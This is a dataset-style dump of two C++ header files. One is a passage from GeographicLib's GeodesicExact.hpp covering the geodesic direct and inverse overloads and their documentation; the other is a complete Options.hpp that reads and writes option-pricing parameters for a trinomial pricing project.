LATITUDE | LONGITUDE | AZIMUTH | DISTANCE |
REDUCEDLENGTH,
lat2, lon2, azi2, s12, m12, t, t, t);
}
/**
* See the documentation for GeodesicExact::ArcDirect.
**********************************************************************/
void ArcDirect(real lat1, real lon1, real azi1, real a12,
real& lat2, real& lon2, real& azi2, real& s12,
real& M12, real& M21) const throw() {
real t;
GenDirect(lat1, lon1, azi1, true, a12,
LATITUDE | LONGITUDE | AZIMUTH | DISTANCE |
GEODESICSCALE,
lat2, lon2, azi2, s12, t, M12, M21, t);
}
/**
* See the documentation for GeodesicExact::ArcDirect.
**********************************************************************/
void ArcDirect(real lat1, real lon1, real azi1, real a12,
real& lat2, real& lon2, real& azi2, real& s12,
real& m12, real& M12, real& M21) const throw() {
real t;
GenDirect(lat1, lon1, azi1, true, a12,
LATITUDE | LONGITUDE | AZIMUTH | DISTANCE |
REDUCEDLENGTH | GEODESICSCALE,
lat2, lon2, azi2, s12, m12, M12, M21, t);
}
///@}
/** \name General version of the direct geodesic solution.
**********************************************************************/
///@{
/**
* The general direct geodesic calculation. GeodesicExact::Direct and
* GeodesicExact::ArcDirect are defined in terms of this function.
*
* @param[in] lat1 latitude of point 1 (degrees).
* @param[in] lon1 longitude of point 1 (degrees).
* @param[in] azi1 azimuth at point 1 (degrees).
* @param[in] arcmode boolean flag determining the meaning of the second
* parameter.
* @param[in] s12_a12 if \e arcmode is false, this is the distance between
* point 1 and point 2 (meters); otherwise it is the arc length between
* point 1 and point 2 (degrees); it can be signed.
* @param[in] outmask a bitor'ed combination of GeodesicExact::mask values
* specifying which of the following parameters should be set.
* @param[out] lat2 latitude of point 2 (degrees).
* @param[out] lon2 longitude of point 2 (degrees).
* @param[out] azi2 (forward) azimuth at point 2 (degrees).
* @param[out] s12 distance between point 1 and point 2 (meters).
* @param[out] m12 reduced length of geodesic (meters).
* @param[out] M12 geodesic scale of point 2 relative to point 1
* (dimensionless).
* @param[out] M21 geodesic scale of point 1 relative to point 2
* (dimensionless).
* @param[out] S12 area under the geodesic (meters<sup>2</sup>).
* @return \e a12 arc length of between point 1 and point 2 (degrees).
*
* The GeodesicExact::mask values possible for \e outmask are
* - \e outmask |= GeodesicExact::LATITUDE for the latitude \e lat2;
* - \e outmask |= GeodesicExact::LONGITUDE for the latitude \e lon2;
* - \e outmask |= GeodesicExact::AZIMUTH for the latitude \e azi2;
* - \e outmask |= GeodesicExact::DISTANCE for the distance \e s12;
* - \e outmask |= GeodesicExact::REDUCEDLENGTH for the reduced length \e
* m12;
* - \e outmask |= GeodesicExact::GEODESICSCALE for the geodesic scales \e
* M12 and \e M21;
* - \e outmask |= GeodesicExact::AREA for the area \e S12;
* - \e outmask |= GeodesicExact::ALL for all of the above.
* .
* The function value \e a12 is always computed and returned and this
* equals \e s12_a12 is \e arcmode is true. If \e outmask includes
* GeodesicExact::DISTANCE and \e arcmode is false, then \e s12 = \e
* s12_a12. It is not necessary to include GeodesicExact::DISTANCE_IN in
* \e outmask; this is automatically included is \e arcmode is false.
**********************************************************************/
Math::real GenDirect(real lat1, real lon1, real azi1,
bool arcmode, real s12_a12, unsigned outmask,
real& lat2, real& lon2, real& azi2,
real& s12, real& m12, real& M12, real& M21,
real& S12) const throw();
///@}
/** \name Inverse geodesic problem.
**********************************************************************/
///@{
/**
* Perform the inverse geodesic calculation.
*
* @param[in] lat1 latitude of point 1 (degrees).
* @param[in] lon1 longitude of point 1 (degrees).
* @param[in] lat2 latitude of point 2 (degrees).
* @param[in] lon2 longitude of point 2 (degrees).
* @param[out] s12 distance between point 1 and point 2 (meters).
* @param[out] azi1 azimuth at point 1 (degrees).
* @param[out] azi2 (forward) azimuth at point 2 (degrees).
* @param[out] m12 reduced length of geodesic (meters).
* @param[out] M12 geodesic scale of point 2 relative to point 1
* (dimensionless).
* @param[out] M21 geodesic scale of point 1 relative to point 2
* (dimensionless).
* @param[out] S12 area under the geodesic (meters<sup>2</sup>).
* @return \e a12 arc length of between point 1 and point 2 (degrees).
*
* \e lat1 and \e lat2 should be in the range [−90°, 90°]; \e
* lon1 and \e lon2 should be in the range [−540°, 540°).
* The values of \e azi1 and \e azi2 returned are in the range
* [−180°, 180°).
*
* If either point is at a pole, the azimuth is defined by keeping the
* longitude fixed, writing \e lat = ±(90° − ε),
* and taking the limit ε → 0+.
*
* The following functions are overloaded versions of GeodesicExact::Inverse
* which omit some of the output parameters. Note, however, that the arc
* length is always computed and returned as the function value.
**********************************************************************/
Math::real Inverse(real lat1, real lon1, real lat2, real lon2,
real& s12, real& azi1, real& azi2, real& m12,
real& M12, real& M21, real& S12) const throw() {
return GenInverse(lat1, lon1, lat2, lon2,
DISTANCE | AZIMUTH |
REDUCEDLENGTH | GEODESICSCALE | AREA,
s12, azi1, azi2, m12, M12, M21, S12);
}
/**
* See the documentation for GeodesicExact::Inverse.
**********************************************************************/
Math::real Inverse(real lat1, real lon1, real lat2, real lon2,
real& s12) const throw() {
real t;
return GenInverse(lat1, lon1, lat2, lon2,
DISTANCE,
s12, t, t, t, t, t, t);
}
/**
* See the documentation for GeodesicExact::Inverse.
**********************************************************************/
Math::real Inverse(real lat1, real lon1, real lat2, real lon2,
real& azi1, real& azi2) const throw() {
real t;
return GenInverse(lat1, lon1, lat2, lon2,
AZIMUTH,
t, azi1, azi2, t, t, t, t);
}
/**
* See the documentation for GeodesicExact::Inverse.
**********************************************************************/
Math::real Inverse(real lat1, real lon1, real lat2, real lon2,
real& s12, real& azi1, real& azi2)
const throw() {
real t;
return GenInverse(lat1, lon1, lat2, lon2,
DISTANCE | AZIMUTH,
s12, azi1, azi2, t, t, t, t);
}
/**
* See the documentation for GeodesicExact::Inverse.
**********************************************************************/
Math::real Inverse(real lat1, real lon1, real lat2, real lon2,
real& s12, real& azi1, real& azi2, real& m12)
const throw() {
real t;
return GenInverse(lat1, lon1, lat2, lon2,
DISTANCE | AZIMUTH | REDUCEDLENGTH,
s12, azi1, azi2, m12, t, t, t);
}
/**
* See the documentation for GeodesicExact::Inverse.
**********************************************************************/
Math::real Inverse(real lat1, real lon1, real lat2, real lon2,
real& s12, real& azi1, real& azi2,
real& M12, real& M21) const throw() {
real t;
return GenInverse(lat1, lon1, lat2, lon2,
DISTANCE | AZIMUTH | GEODESICSCALE,
s12, azi1, azi2, t, M12, M21, t);
}
/**
* See the documentation for GeodesicExact::Inverse.
**********************************************************************/
Math::real Inverse(real lat1, real lon1, real lat2, real lon2,
real& s12, real& azi1, real& azi2, real& m12,
real& M12, real& M21) const throw() {
real t;
return GenInverse(lat1, lon1, lat2, lon2,
DISTANCE | AZIMUTH |
REDUCEDLENGTH | GEODESICSCALE,
s12, azi1, azi2, m12, M12, M21, t);
}
///@}
/** \name General version of inverse geodesic solution.
**********************************************************************/
///@{
/**
* The general inverse geodesic calculation. GeodesicExact::Inverse is
* defined in terms of this function.
*
* @param[in] lat1 latitude of point 1 (degrees).
* @param[in] lon1 longitude of point 1 (degrees).
* @param[in] lat2 latitude of point 2 (degrees).
* @param[in] lon2 longitude of point 2 (degrees).
* @param[in] outmask a bitor'ed combination of GeodesicExact::mask values
* specifying which of the following parameters should be set.
* @param[out] s12 distance between point 1 and point 2 (meters).
* @param[out] azi1 azimuth at point 1 (degrees).
* @param[out] azi2 (forward) azimuth at point 2 (degrees).
* @param[out] m12 reduced length of geodesic (meters).
* @param[out] M12 geodesic scale of point 2 relative to point 1
* (dimensionless).
* @param[out] M21 geodesic scale of point 1 relative to point 2
* (dimensionless).
* @param[out] S12 area under the geodesic (meters<sup>2</sup>).
* @return \e a12 arc length of between point 1 and point 2 (degrees).
*
* The GeodesicExact::mask values possible for \e outmask are
* - \e outmask |= GeodesicExact::DISTANCE for the distance \e s12;
* - \e outmask |= GeodesicExact::AZIMUTH for the latitude \e azi2;
* - \e outmask |= GeodesicExact::REDUCEDLENGTH for the reduced length \e
* m12;
* - \e outmask |= GeodesicExact::GEODESICSCALE for the geodesic scales \e
* M12 and \e M21;
* - \e outmask |= GeodesicExact::AREA for the area \e S12;
* - \e outmask |= GeodesicExact::ALL for all of the above.
* .
* The arc length is always computed and returned as the function value.
**********************************************************************/
Math::real GenInverse(real lat1, real lon1, real lat2, real lon2,
unsigned outmask,
real& s12, real& azi1, real& azi2,
real& m12, real& M12, real& M21, real& S12)
const throw();
///@}
/** \name Interface to GeodesicLineExact.
**********************************************************************/
///@{
/**
* Set up to compute several points on a single geodesic.
*
* @param[in] lat1 latitude of point 1 (degrees).
* @param[in] lon1 longitude of point 1 (degrees).
* @param[in] azi1 azimuth at point 1 (degrees).
* @param[in] caps bitor'ed combination of GeodesicExact::mask values
* specifying the capabilities the GeodesicLineExact object should
* possess, i.e., which quantities can be returned in calls to
* GeodesicLineExact::Position.
* @return a GeodesicLineExact object.
*
* \e lat1 should be in the range [−90°, 90°]; \e lon1 and \e
* azi1 should be in the range [−540°, 540°).
*
* The GeodesicExact::mask values are
* - \e caps |= GeodesicExact::LATITUDE for the latitude \e lat2; this is
* added automatically;
* - \e caps |= GeodesicExact::LONGITUDE for the latitude \e lon2;
* - \e caps |= GeodesicExact::AZIMUTH for the azimuth \e azi2; this is
* added automatically;
* - \e caps |= GeodesicExact::DISTANCE for the distance \e s12;
* - \e caps |= GeodesicExact::REDUCEDLENGTH for the reduced length \e m12;
* - \e caps |= GeodesicExact::GEODESICSCALE for the geodesic scales \e M12
* and \e M21;
* - \e caps |= GeodesicExact::AREA for the area \e S12;
* - \e caps |= GeodesicExact::DISTANCE_IN permits the length of the
* geodesic to be given in terms of \e s12; without this capability the
* length can only be specified in terms of arc length;
* - \e caps |= GeodesicExact::ALL for all of the above.
* .
* The default value of \e caps is GeodesicExact::ALL which turns on all
* the capabilities.
*
* If the point is at a pole, the azimuth is defined by keeping \e lon1
* fixed, writing \e lat1 = ±(90 − ε), and taking the
* limit ε → 0+.
**********************************************************************/
GeodesicLineExact Line(real lat1, real lon1, real azi1, unsigned caps = ALL)
const throw();
///@}
/** \name Inspector functions.
**********************************************************************/
///@{
/**
* @return \e a the equatorial radius of the ellipsoid (meters). This is
* the value used in the constructor.
**********************************************************************/
Math::real MajorRadius() const throw() { return _a; }
/**
* @return \e f the flattening of the ellipsoid. This is the
* value used in the constructor.
**********************************************************************/
Math::real Flattening() const throw() { return _f; }
/// \cond SKIP
/**
* <b>DEPRECATED</b>
* @return \e r the inverse flattening of the ellipsoid.
**********************************************************************/
Math::real InverseFlattening() const throw() { return 1/_f; }
/// \endcond
/**
* @return total area of ellipsoid in meters<sup>2</sup>. The area of a
* polygon encircling a pole can be found by adding
* GeodesicExact::EllipsoidArea()/2 to the sum of \e S12 for each side of
* the polygon.
**********************************************************************/
Math::real EllipsoidArea() const throw()
{ return 4 * Math::pi<real>() * _c2; }
///@}
/**
* A global instantiation of GeodesicExact with the parameters for the WGS84
* ellipsoid.
**********************************************************************/
static const GeodesicExact WGS84;
};
} // namespace GeographicLib
#endif // GEOGRAPHICLIB_GEODESICEXACT_HPP
| 43.92602 | 80 | 0.522766 | karamach |
e76e562b84f64be22a59d1196ea88f2202d21bf2 | 2,900 | hpp | C++ | common/Options.hpp | MartinMetaksov/diku.OptionsPricing | 1734801dddf7faa9e7c6ed1a46acb6ef8492e33c | [
"ISC"
] | 3 | 2019-01-11T11:13:13.000Z | 2020-06-16T10:20:46.000Z | common/Options.hpp | MartinMetaksov/diku.OptionsPricing | 1734801dddf7faa9e7c6ed1a46acb6ef8492e33c | [
"ISC"
] | null | null | null | common/Options.hpp | MartinMetaksov/diku.OptionsPricing | 1734801dddf7faa9e7c6ed1a46acb6ef8492e33c | [
"ISC"
] | 1 | 2019-01-09T21:47:46.000Z | 2019-01-09T21:47:46.000Z | #ifndef OPTIONS_HPP
#define OPTIONS_HPP
#include <cinttypes>
#include <fstream>
#include <stdexcept>
#include <vector>
#include "Arrays.hpp"
#include "Real.hpp"
namespace trinom
{
enum class SortType : char
{
WIDTH_DESC = 'W',
WIDTH_ASC = 'w',
HEIGHT_DESC = 'H',
HEIGHT_ASC = 'h',
NONE = '-'
};
enum class OptionType : int8_t
{
CALL = 0,
PUT = 1
};
inline std::ostream &operator<<(std::ostream &os, const OptionType t)
{
os << static_cast<int>(t);
return os;
}
inline std::istream &operator>>(std::istream &is, OptionType &t)
{
int c;
is >> c;
t = static_cast<OptionType>(c);
if (OptionType::CALL != t && OptionType::PUT != t)
{
throw std::out_of_range("Invalid OptionType read from stream.");
}
return is;
}
struct Options
{
int N;
std::vector<real> StrikePrices;
std::vector<real> Maturities;
std::vector<real> Lengths;
std::vector<uint16_t> TermUnits;
std::vector<uint16_t> TermStepCounts;
std::vector<real> ReversionRates;
std::vector<real> Volatilities;
std::vector<OptionType> Types;
Options(const int count)
{
N = count;
Lengths.reserve(N);
Maturities.reserve(N);
StrikePrices.reserve(N);
TermUnits.reserve(N);
TermStepCounts.reserve(N);
ReversionRates.reserve(N);
Volatilities.reserve(N);
Types.reserve(N);
}
Options(const std::string &filename)
{
if (filename.empty())
{
throw std::invalid_argument("File not specified.");
}
std::ifstream in(filename);
if (!in)
{
throw std::invalid_argument("File '" + filename + "' does not exist.");
}
Arrays::read_array(in, StrikePrices);
Arrays::read_array(in, Maturities);
Arrays::read_array(in, Lengths);
Arrays::read_array(in, TermUnits);
Arrays::read_array(in, TermStepCounts);
Arrays::read_array(in, ReversionRates);
Arrays::read_array(in, Volatilities);
Arrays::read_array(in, Types);
N = StrikePrices.size();
in.close();
}
void writeToFile(const std::string &filename)
{
if (filename.empty())
{
throw std::invalid_argument("File not specified.");
}
std::ofstream out(filename);
if (!out)
{
throw std::invalid_argument("File does not exist.");
}
Arrays::write_array(out, StrikePrices);
Arrays::write_array(out, Maturities);
Arrays::write_array(out, Lengths);
Arrays::write_array(out, TermUnits);
Arrays::write_array(out, TermStepCounts);
Arrays::write_array(out, ReversionRates);
Arrays::write_array(out, Volatilities);
Arrays::write_array(out, Types);
out.close();
}
};
} // namespace trinom
#endif | 22.65625 | 83 | 0.591034 | MartinMetaksov |